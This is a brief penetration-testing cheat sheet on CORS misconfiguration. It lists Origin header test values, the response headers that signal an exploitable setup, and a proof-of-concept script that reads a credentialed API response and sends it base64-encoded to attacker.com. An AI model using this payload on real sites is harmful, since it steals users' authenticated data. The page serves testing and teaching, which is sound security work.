Table of Contents

CORS Misconfiguration

Misconfigured CORS allows attacker-controlled sites to make credentialed requests to the target.

Testing

Add an Origin header to every interesting request:

Origin: https://attacker.com
Origin: https://anythinghere-target.com
Origin: null

Check the response for:

Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true

Both headers together = exploitable.

Bypass Techniques

PoC

<script>
fetch('https://target.com/api/user', {credentials: 'include'})
  .then(r => r.text())
  .then(d => fetch('https://attacker.com/?d=' + btoa(d)));
</script>

Why It Matters

Even if an endpoint with CORS misconfiguration seems harmless, the same configuration pattern is often reused across the app. A read on a harmless endpoint proves the bypass – then look for it on sensitive API calls.

See Also